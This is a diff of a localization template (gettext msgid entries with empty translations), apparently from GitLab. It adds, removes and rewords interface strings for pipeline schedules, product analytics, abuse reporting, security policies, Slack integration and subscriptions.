@@ -29965,6 +30314,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -29992,6 +30344,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30010,6 +30368,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -30964,9 +31325,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31024,6 +31382,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31051,7 +31412,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31066,9 +31430,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31180,6 +31541,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31192,27 +31556,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -31867,6 +32432,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32086,6 +32663,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32161,9 +32741,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32335,9 +32912,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32488,10 +33062,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32623,6 +33197,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33247,6 +33824,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33259,6 +33854,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33295,6 +33893,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34023,6 +34624,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34290,9 +34894,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34350,9 +34951,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34389,6 +34987,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35321,7 +35946,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35692,7 +36317,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -35899,6 +36524,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -35923,9 +36554,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -35941,6 +36569,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -35950,12 +36581,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36148,9 +36803,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36507,6 +37159,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36528,6 +37189,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -36807,7 +37471,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -36870,10 +37534,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -36888,6 +37552,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -36957,9 +37624,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37179,9 +37843,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37209,6 +37870,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37239,9 +37903,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37260,9 +37921,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38041,6 +38699,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38255,9 +38916,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38384,9 +39042,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38417,6 +39072,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38444,10 +39105,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38459,22 +39120,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
-msgstr ""
-
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -38972,6 +39627,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39167,15 +39828,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39665,18 +40326,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -39893,6 +40572,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -39911,7 +40593,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -39932,9 +40614,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40422,15 +41101,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40461,6 +41131,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40723,9 +41408,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -40977,6 +41659,9 @@ msgid "The following personal access token: %{token_names} was revoked, because
msgid_plural "The following personal access tokens: %{token_names} were revoked, because a new policy to expire personal access tokens were set."
msgstr[0] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41125,6 +41810,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41329,6 +42017,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41677,6 +42368,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -41779,21 +42473,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42016,6 +42716,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42091,9 +42794,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42298,7 +42998,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42738,6 +43438,10 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -42954,7 +43658,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43251,24 +43955,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43372,15 +44064,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43552,6 +44241,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43594,6 +44286,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -43774,6 +44469,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -43813,6 +44511,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -43882,6 +44583,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
